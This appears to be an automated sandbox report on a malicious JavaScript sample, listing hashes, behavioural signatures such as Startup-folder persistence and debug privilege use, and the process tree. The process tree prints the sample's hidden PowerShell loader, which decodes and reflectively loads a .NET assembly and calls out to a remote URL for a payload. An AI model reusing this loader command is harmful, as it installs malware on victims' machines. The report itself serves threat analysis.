Analysis
- max time kernel
179s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
06/08/2026, 14:58
Static task
static1
Behavioral task
behavioral1
Sample
1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js
Resource
win10v2004-20260513-en
7 signatures
180 seconds
Behavioral task
behavioral2
Sample
1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js
Resource
win11ltsc2024-20260709-en
8 signatures
180 seconds
General
- Target 1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js
- Size 13.7MB
- Sample260806-scg21stemh
- SHA256 1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f
- MD5 4a7c6c145fbb308dd23a1666fc5d1e4a
- SHA1 0977df835de42881bb6b4342c50d346524fcb957
- SHA512 cc89a37f064ff49f7c1999284f3d47eaf3fe76bcfde453960f5c24348462139cf264a30b7a28455dbf31fe8188b37e96e5c25911b7d5e9ae3b0b81feb5b900dc
- SSDEEP 6144:sh6zRolqVD4CecONXfC6xX/Eomg1MBHQ3CiGrVoRmVhb4O8SEhLpo7BjmCyodRvR:t
- TLSH T14BE6ED0F81AA424F41F83562E016A33A1E15FFE1A4BDDFC666FE0F46672D50AC7125B2
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1524 4332 powershell.exe 84 - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1524 powershell.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js wscript.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ wscript.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1524 powershell.exe 1524 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1524 powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:4588
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('https://pricing.mason-cars.autos/img_065646.png','','C:UsersPublic','ehueu1zdEq','jsc','','jsc','','','C:UsersPublic','ehueu1zdEq','','5','','KurhmrLStj','0','','','')"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524